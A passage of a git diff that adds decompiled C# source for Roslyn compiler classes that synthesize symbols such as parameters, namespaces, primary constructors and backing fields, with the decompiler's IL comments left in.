Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedNamespaceSymbol : NamespaceSymbol +{ + private readonly string _name; + + private readonly NamespaceSymbol _containingSymbol; + + internal override NamespaceExtent Extent => _containingSymbol.Extent; + + public override string Name => _name; + + public override Symbol ContainingSymbol => _containingSymbol; + + public override AssemblySymbol ContainingAssembly => _containingSymbol.ContainingAssembly; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public SynthesizedNamespaceSymbol(NamespaceSymbol containingNamespace, string name) + { + _containingSymbol = containingNamespace; + _name = name; + } + + public override int GetHashCode() + { + return Hash.Combine(_containingSymbol.GetHashCode(), _name.GetHashCode()); + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + if (obj is SynthesizedNamespaceSymbol other) + { + return Equals(other); + } + return false; + } + + public bool Equals(SynthesizedNamespaceSymbol other) + { + if ((object)this == other) + { + return true; + } + if ((object)other != null && _name.Equals(other._name)) + { + return _containingSymbol.Equals(other._containingSymbol); + } + return false; + } + + public override ImmutableArray GetTypeMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name, int arity) + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetMembers() + { + return ImmutableArray.Empty; + } + + public override ImmutableArray GetMembers(ReadOnlyMemory name) + { + return ImmutableArray.Empty; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedParameterSymbol.cs new file mode 100644 index 0000000..cef4c31 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedParameterSymbol.cs @@ -0,0 +1,65 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedParameterSymbol : SynthesizedParameterSymbolBase +{ + internal sealed override bool IsMetadataIn + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + RefKind refKind = RefKind; + if (refKind - 3 <= 1) + { + return true; + } + return false; + } + } + + internal sealed override bool IsMetadataOut => (int)RefKind == 2; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal override MarshalPseudoCustomAttributeData? MarshallingInformation => null; + + internal override bool HasUnscopedRefAttribute => false; + + private SynthesizedParameterSymbol(Symbol? container, TypeWithAnnotations type, int ordinal, RefKind refKind, ScopedKind scope, string name) + : base(container, type, ordinal, refKind, scope, name) + { + }//IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + + + public static ParameterSymbol Create(Symbol? container, TypeWithAnnotations type, int ordinal, RefKind refKind, string name = "", ScopedKind scope = (ScopedKind)0, ConstantValue? defaultValue = null, ImmutableArray refCustomModifiers = default(ImmutableArray), SourceComplexParameterSymbolBase? baseParameterForAttributes = null, bool isParams = false, bool hasUnscopedRefAttribute = false) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (!isParams && refCustomModifiers.IsDefaultOrEmpty && (object)baseParameterForAttributes == null && defaultValue == null && !hasUnscopedRefAttribute) + { + return new SynthesizedParameterSymbol(container, type, ordinal, refKind, scope, name); + } + return new SynthesizedComplexParameterSymbol(container, type, ordinal, refKind, scope, defaultValue, name, ImmutableArrayExtensions.NullToEmpty(refCustomModifiers), baseParameterForAttributes, isParams, hasUnscopedRefAttribute); + } + + internal static ImmutableArray DeriveParameters(MethodSymbol sourceMethod, MethodSymbol destinationMethod) + { + return ImmutableArrayExtensions.SelectAsArray(sourceMethod.Parameters, (Func)((ParameterSymbol oldParam, MethodSymbol destination) => DeriveParameter(destination, oldParam)), destinationMethod); + } + + internal static ParameterSymbol DeriveParameter(Symbol destination, ParameterSymbol oldParam) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return Create(destination, oldParam.TypeWithAnnotations, oldParam.Ordinal, oldParam.RefKind, oldParam.Name, oldParam.EffectiveScope, oldParam.ExplicitDefaultConstantValue, oldParam.RefCustomModifiers); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedParameterSymbolBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedParameterSymbolBase.cs new file mode 100644 index 0000000..eebd5d6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedParameterSymbolBase.cs @@ -0,0 +1,203 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedParameterSymbolBase : ParameterSymbol +{ + private readonly Symbol? _container; + + private readonly TypeWithAnnotations _type; + + private readonly int _ordinal; + + private readonly string _name; + + private readonly RefKind _refKind; + + private readonly ScopedKind _scope; + + public override TypeWithAnnotations TypeWithAnnotations => _type; + + public override RefKind RefKind => _refKind; + + public sealed override bool IsDiscard => false; + + public override string Name => _name; + + public abstract override ImmutableArray RefCustomModifiers { get; } + + public override int Ordinal => _ordinal; + + public override bool IsParams => false; + + internal override bool IsMetadataOptional => ExplicitDefaultConstantValue != (ConstantValue)null; + + public override bool IsImplicitlyDeclared => true; + + internal override ConstantValue? ExplicitDefaultConstantValue => null; + + internal virtual ConstantValue? DefaultValueFromAttributes => null; + + internal override bool IsIDispatchConstant + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedParameterSymbol.cs", 87); + } + } + + internal override bool IsIUnknownConstant + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedParameterSymbol.cs", 92); + } + } + + internal override bool IsCallerLineNumber + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedParameterSymbol.cs", 97); + } + } + + internal override bool IsCallerFilePath + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedParameterSymbol.cs", 102); + } + } + + internal override bool IsCallerMemberName + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/SynthesizedParameterSymbol.cs", 107); + } + } + + internal override int CallerArgumentExpressionParameterIndex => -1; + + internal override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + internal override ImmutableHashSet NotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override Symbol? ContainingSymbol => _container; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + internal override ImmutableArray InterpolatedStringHandlerArgumentIndexes => ImmutableArray.Empty; + + internal override bool HasInterpolatedStringHandlerArgumentError => false; + + internal sealed override ScopedKind EffectiveScope => _scope; + + internal sealed override bool UseUpdatedEscapeRules + { + get + { + Symbol container = _container; + if (!(container is MethodSymbol { UseUpdatedEscapeRules: var useUpdatedEscapeRules })) + { + return container?.ContainingModule.UseUpdatedEscapeRules ?? false; + } + return useUpdatedEscapeRules; + } + } + + public SynthesizedParameterSymbolBase(Symbol? container, TypeWithAnnotations type, int ordinal, RefKind refKind, ScopedKind scope, string name) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + _container = container; + _type = type; + _ordinal = ordinal; + _refKind = refKind; + _scope = scope; + _name = name; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Unknown result type (might be due to invalid IL or missing references) + //IL_0110: Invalid comparison between Unknown and I4 + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Invalid comparison between Unknown and I4 + //IL_01f8: Unknown result type (might be due to invalid IL or missing references) + //IL_01fd: Unknown result type (might be due to invalid IL or missing references) + //IL_01ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0203: Invalid comparison between Unknown and I4 + //IL_0205: Unknown result type (might be due to invalid IL or missing references) + //IL_0209: Invalid comparison between Unknown and I4 + CSharpCompilation declaringCompilation = DeclaringCompilation; + TypeWithAnnotations typeWithAnnotations = TypeWithAnnotations; + if (typeWithAnnotations.Type.ContainsDynamic() && declaringCompilation.HasDynamicEmitAttributes(BindingDiagnosticBag.Discarded, Location.None) && declaringCompilation.CanEmitBoolean()) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDynamicAttribute(typeWithAnnotations.Type, typeWithAnnotations.CustomModifiers.Length + RefCustomModifiers.Length, RefKind)); + } + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(typeWithAnnotations.Type)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNativeIntegerAttribute(this, typeWithAnnotations.Type)); + } + if (ParameterHelpers.RequiresScopedRefAttribute(this)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeScopedRefAttribute(this, EffectiveScope)); + } + if (typeWithAnnotations.Type.ContainsTupleNames() && declaringCompilation.HasTupleNamesAttributes(BindingDiagnosticBag.Discarded, Location.None) && declaringCompilation.CanEmitSpecialType((SpecialType)20)) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeTupleNamesAttribute(typeWithAnnotations.Type)); + } + if (declaringCompilation.ShouldEmitNullableAttributes(this)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNullableAttributeIfNecessary(this, GetNullableContextValue(), typeWithAnnotations)); + } + RefKind refKind = RefKind; + if ((int)refKind != 3) + { + if ((int)refKind == 4) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeRequiresLocationAttribute(this)); + } + } + else + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeIsReadOnlyAttribute(this)); + } + if (HasUnscopedRefAttribute && ContainingSymbol is SynthesizedDelegateInvokeMethod) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)477)); + } + if (IsParams && ContainingSymbol is SynthesizedDelegateInvokeMethod) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)63)); + } + ConstantValue explicitDefaultConstantValue = ExplicitDefaultConstantValue; + bool flag = explicitDefaultConstantValue != (ConstantValue)null && DefaultValueFromAttributes == (ConstantValue)null; + if (flag) + { + Symbol containingSymbol = ContainingSymbol; + bool flag2 = ((containingSymbol is SynthesizedDelegateInvokeMethod || containingSymbol is SynthesizedClosureMethod) ? true : false); + flag = flag2; + } + if (flag) + { + SpecialType specialType = explicitDefaultConstantValue.SpecialType; + SynthesizedAttributeData synthesizedAttributeData = (((int)specialType == 17) ? declaringCompilation.SynthesizeDecimalConstantAttribute(explicitDefaultConstantValue.DecimalValue) : (((int)specialType != 33) ? null : declaringCompilation.SynthesizeDateTimeConstantAttribute(explicitDefaultConstantValue.DateTimeValue))); + SynthesizedAttributeData attribute = synthesizedAttributeData; + Symbol.AddSynthesizedAttribute(ref attributes, attribute); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedParameterlessThrowMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedParameterlessThrowMethod.cs new file mode 100644 index 0000000..0cd7c34 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedParameterlessThrowMethod.cs @@ -0,0 +1,32 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedParameterlessThrowMethod : SynthesizedGlobalMethodSymbol +{ + private readonly MethodSymbol _exceptionConstructor; + + internal SynthesizedParameterlessThrowMethod(SourceModuleSymbol containingModule, PrivateImplementationDetails privateImplType, TypeSymbol returnType, string synthesizedMethodName, MethodSymbol exceptionConstructor) + : base(containingModule, privateImplType, returnType, synthesizedMethodName) + { + _exceptionConstructor = exceptionConstructor; + SetParameters(ImmutableArray.Empty); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + try + { + BoundThrowStatement body = syntheticBoundNodeFactory.Throw(syntheticBoundNodeFactory.New(_exceptionConstructor, ImmutableArray.Empty)); + syntheticBoundNodeFactory.CloseMethod(body); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedPrimaryConstructor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedPrimaryConstructor.cs new file mode 100644 index 0000000..4654e17 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedPrimaryConstructor.cs @@ -0,0 +1,191 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedPrimaryConstructor : SourceConstructorSymbolBase +{ + private IReadOnlyDictionary? _capturedParameters; + + private IReadOnlySet? _parametersPassedToTheBase; + + protected override IAttributeTargetSymbol AttributeOwner => (IAttributeTargetSymbol)ContainingType; + + protected override AttributeLocation AttributeLocationForLoadAndValidateAttributes => AttributeLocation.Method; + + public new SourceMemberContainerTypeSymbol ContainingType => (SourceMemberContainerTypeSymbol)base.ContainingType; + + protected override bool AllowRefOrOut + { + get + { + SourceMemberContainerTypeSymbol containingType = ContainingType; + bool flag = (((object)containingType != null && (containingType.IsRecord || containingType.IsRecordStruct)) ? true : false); + return !flag; + } + } + + public SynthesizedPrimaryConstructor(SourceMemberContainerTypeSymbol containingType, TypeDeclarationSyntax syntax) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = syntax.Identifier; + base._002Ector(containingType, ((SyntaxToken)(ref identifier)).GetLocation(), syntax, isIterator: false, MakeModifiersAndFlags(containingType, syntax)); + PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeIfClass = syntax.PrimaryConstructorBaseTypeIfClass; + if (primaryConstructorBaseTypeIfClass != null) + { + ArgumentListSyntax argumentList = primaryConstructorBaseTypeIfClass.ArgumentList; + if (argumentList != null && argumentList.Arguments.Count != 0) + { + return; + } + } + _parametersPassedToTheBase = SpecializedCollections.EmptyReadOnlySet(); + } + + private static (DeclarationModifiers, Flags) MakeModifiersAndFlags(SourceMemberContainerTypeSymbol containingType, TypeDeclarationSyntax syntax) + { + DeclarationModifiers declarationModifiers = (containingType.IsAbstract ? DeclarationModifiers.Protected : DeclarationModifiers.Public); + Flags item = SourceMemberMethodSymbol.MakeFlags((MethodKind)1, (RefKind)0, declarationModifiers, returnsVoid: true, returnsVoidIsSet: true, isExpressionBodied: false, isExtensionMethod: false, isNullableAnalysisEnabled: false, syntax.ParameterList.IsVarArg(), isExplicitInterfaceImplementation: false); + return (declarationModifiers, item); + } + + internal TypeDeclarationSyntax GetSyntax() + { + return (TypeDeclarationSyntax)(object)syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + } + + internal override OneOrMany> GetAttributeDeclarations() + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return new OneOrMany>(((SourceNamedTypeSymbol)ContainingType).GetAttributeDeclarations()); + } + + protected override ParameterListSyntax GetParameterList() + { + return GetSyntax().ParameterList; + } + + protected override CSharpSyntaxNode? GetInitializer() + { + return GetSyntax().PrimaryConstructorBaseTypeIfClass; + } + + internal override bool IsNullableAnalysisEnabled() + { + return ContainingType.IsNullableEnabledForConstructorsAndInitializers(IsStatic); + } + + protected override bool IsWithinExpressionOrBlockBody(int position, out int offset) + { + offset = -1; + return false; + } + + internal override ExecutableCodeBinder TryGetBodyBinder(BinderFactory? binderFactoryOpt = null, bool ignoreAccessibility = false) + { + TypeDeclarationSyntax syntax = GetSyntax(); + InMethodBinder primaryConstructorInMethodBinder = (binderFactoryOpt ?? DeclaringCompilation.GetBinderFactory(syntax.SyntaxTree)).GetPrimaryConstructorInMethodBinder(this); + return new ExecutableCodeBinder((SyntaxNode)(object)SyntaxNode, this, primaryConstructorInMethodBinder.WithAdditionalFlags(ignoreAccessibility ? BinderFlags.IgnoreAccessibility : BinderFlags.None)); + } + + public IEnumerable GetBackingFields() + { + IReadOnlyDictionary capturedParameters = GetCapturedParameters(); + if (capturedParameters.Count == 0) + { + return SpecializedCollections.EmptyEnumerable(); + } + return from pair in capturedParameters + orderby pair.Key.Ordinal + select pair.Value; + } + + public IReadOnlyDictionary GetCapturedParameters() + { + if (_capturedParameters != null) + { + return _capturedParameters; + } + SourceMemberContainerTypeSymbol containingType = ContainingType; + bool flag = (((object)containingType != null && (containingType.IsRecord || containingType.IsRecordStruct)) ? true : false); + if (flag || ParameterCount == 0) + { + _capturedParameters = SpecializedCollections.EmptyReadOnlyDictionary(); + return _capturedParameters; + } + Interlocked.CompareExchange(ref _capturedParameters, Binder.CapturedParametersFinder.GetCapturedParameters(this), null); + return _capturedParameters; + } + + internal override (CSharpAttributeData?, BoundAttribute?) EarlyDecodeWellKnownAttribute(ref EarlyDecodeWellKnownAttributeArguments arguments) + { + arguments.SymbolPart = AttributeLocation.None; + (CSharpAttributeData?, BoundAttribute?) result = base.EarlyDecodeWellKnownAttribute(ref arguments); + arguments.SymbolPart = AttributeLocation.Method; + return result; + } + + protected override void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + arguments.SymbolPart = AttributeLocation.None; + base.DecodeWellKnownAttributeImpl(ref arguments); + arguments.SymbolPart = AttributeLocation.Method; + } + + internal override void PostDecodeWellKnownAttributes(ImmutableArray boundAttributes, ImmutableArray allAttributeSyntaxNodes, BindingDiagnosticBag diagnostics, AttributeLocation symbolPart, WellKnownAttributeData decodedData) + { + base.PostDecodeWellKnownAttributes(boundAttributes, allAttributeSyntaxNodes, diagnostics, (symbolPart != AttributeLocation.Method) ? symbolPart : AttributeLocation.None, decodedData); + } + + protected unsafe override bool ShouldBindAttributes(AttributeListSyntax attributeDeclarationSyntax, BindingDiagnosticBag diagnostics) + { + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if (!base.ShouldBindAttributes(attributeDeclarationSyntax, diagnostics)) + { + return false; + } + if (attributeDeclarationSyntax.SyntaxTree == base.SyntaxRef.SyntaxTree && IReadOnlyListExtensions.Contains((IReadOnlyList)(object)GetSyntax().AttributeLists, attributeDeclarationSyntax, (IEqualityComparer)null)) + { + SourceMemberContainerTypeSymbol containingType = ContainingType; + if (((object)containingType != null && (containingType.IsRecord || containingType.IsRecordStruct)) ? true : false) + { + SyntaxToken identifier = attributeDeclarationSyntax.Target.Identifier; + MessageID.IDS_FeaturePrimaryConstructors.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)attributeDeclarationSyntax, ((SyntaxToken)(ref identifier)).GetLocation()); + } + return true; + } + SyntaxToken identifier2 = attributeDeclarationSyntax.Target.Identifier; + diagnostics.Add(ErrorCode.WRN_AttributeLocationOnBadDeclaration, ((SyntaxToken)(ref identifier2)).GetLocation(), ((object)(*(SyntaxToken*)(&identifier2))/*cast due to constrained. prefix*/).ToString(), (AttributeOwner.AllowedAttributeLocations & ~AttributeLocation.Method).ToDisplayString()); + return false; + } + + public IReadOnlySet GetParametersPassedToTheBase() + { + if (_parametersPassedToTheBase != null) + { + return _parametersPassedToTheBase; + } + TryGetBodyBinder().BindConstructorInitializer(GetSyntax().PrimaryConstructorBaseTypeIfClass, BindingDiagnosticBag.Discarded); + if (_parametersPassedToTheBase == null) + { + _parametersPassedToTheBase = SpecializedCollections.EmptyReadOnlySet(); + } + return _parametersPassedToTheBase; + } + + internal void SetParametersPassedToTheBase(IReadOnlySet value) + { + _parametersPassedToTheBase = value; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedPrimaryConstructorParameterBackingFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedPrimaryConstructorParameterBackingFieldSymbol.cs new file mode 100644 index 0000000..b78cbdb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedPrimaryConstructorParameterBackingFieldSymbol.cs @@ -0,0 +1,43 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedPrimaryConstructorParameterBackingFieldSymbol : SynthesizedBackingFieldSymbolBase +{ + public readonly ParameterSymbol ParameterSymbol; + + internal override bool HasInitializer => true; + + protected override IAttributeTargetSymbol AttributeOwner => this; + + internal override Location ErrorLocation => ParameterSymbol.TryGetFirstLocation() ?? NoLocation.Singleton; + + protected override SyntaxList AttributeDeclarationSyntaxList => default(SyntaxList); + + public override Symbol? AssociatedSymbol => null; + + public override ImmutableArray Locations => ParameterSymbol.Locations; + + public override RefKind RefKind => (RefKind)0; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + internal override bool HasPointerType => base.HasPointerType; + + public override Symbol ContainingSymbol => ParameterSymbol.ContainingSymbol.ContainingSymbol; + + public override NamedTypeSymbol ContainingType => ParameterSymbol.ContainingSymbol.ContainingType; + + public SynthesizedPrimaryConstructorParameterBackingFieldSymbol(ParameterSymbol parameterSymbol, string name, bool isReadOnly) + : base(name, isReadOnly, isStatic: false) + { + ParameterSymbol = parameterSymbol; + } + + internal override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return ParameterSymbol.TypeWithAnnotations; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedPrivateImplementationDetailsStaticConstructor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedPrivateImplementationDetailsStaticConstructor.cs new file mode 100644 index 0000000..443fe58 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedPrivateImplementationDetailsStaticConstructor.cs @@ -0,0 +1,46 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedPrivateImplementationDetailsStaticConstructor : SynthesizedGlobalMethodSymbol +{ + public override MethodKind MethodKind => (MethodKind)14; + + internal override bool HasSpecialName => true; + + internal SynthesizedPrivateImplementationDetailsStaticConstructor(SourceModuleSymbol containingModule, PrivateImplementationDetails privateImplementationType, NamedTypeSymbol voidType) + : base(containingModule, privateImplementationType, voidType, ".cctor") + { + SetParameters(ImmutableArray.Empty); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + CSharpSyntaxNode nonNullSyntaxNode = this.GetNonNullSyntaxNode(); + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)nonNullSyntaxNode, compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + try + { + foreach (KeyValuePair instrumentationPayloadRoot in base.ContainingPrivateImplementationDetailsType.GetInstrumentationPayloadRoots()) + { + int key = instrumentationPayloadRoot.Key; + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)(object)((IReference)((SynthesizedStaticField)instrumentationPayloadRoot.Value).Type).GetInternalSymbol(); + BoundStatement boundStatement = syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.InstrumentationPayloadRoot(key, arrayTypeSymbol), syntheticBoundNodeFactory.Array(arrayTypeSymbol.ElementType, syntheticBoundNodeFactory.Binary(BinaryOperatorKind.Addition, syntheticBoundNodeFactory.SpecialType((SpecialType)13), syntheticBoundNodeFactory.MaximumMethodDefIndex(), syntheticBoundNodeFactory.Literal(1)))); + instance.Add(boundStatement); + } + instance.Add((BoundStatement)syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.ModuleVersionId(), syntheticBoundNodeFactory.New(syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)40), syntheticBoundNodeFactory.ModuleVersionIdString()))); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + } + BoundStatement boundStatement2 = syntheticBoundNodeFactory.Return(); + instance.Add(boundStatement2); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(instance.ToImmutableAndFree())); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListConstructor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListConstructor.cs new file mode 100644 index 0000000..d4966b1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedReadOnlyListConstructor.cs @@ -0,0 +1,36 @@ +using System.Collections.Immutable; +using System.Linq; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedReadOnlyListConstructor : SynthesizedInstanceConstructor +{ + public override ImmutableArray Parameters { get; } + + internal override bool SynthesizesLoweredBoundBody => true; + + internal SynthesizedReadOnlyListConstructor(SynthesizedReadOnlyListTypeSymbol containingType, TypeSymbol parameterType) + : base(containingType) + { + Parameters = ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(parameterType), 0, (RefKind)0, "items", (ScopedKind)0)); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + syntheticBoundNodeFactory.CurrentFunction = this; + try + { + MethodSymbol method = ContainingType.BaseTypeNoUseSiteDiagnostics.InstanceConstructors.Single(); + FieldSymbol f = ContainingType.GetFieldsToEmit().Single(); + ParameterSymbol p = Parameters.Single(); + BoundBlock body = syntheticBoundNodeFactory.Block(syntheticBoundNodeFactory.ExpressionStatement(syntheticBoundNodeFactory.Call(syntheticBoundNodeFactory.This(), method)), syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Field(syntheticBoundNodeFactory.This(), f), syntheticBoundNodeFactory.Parameter(p)), syntheticBoundNodeFactory.Return()); + syntheticBoundNodeFactory.CloseMethod(body); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + 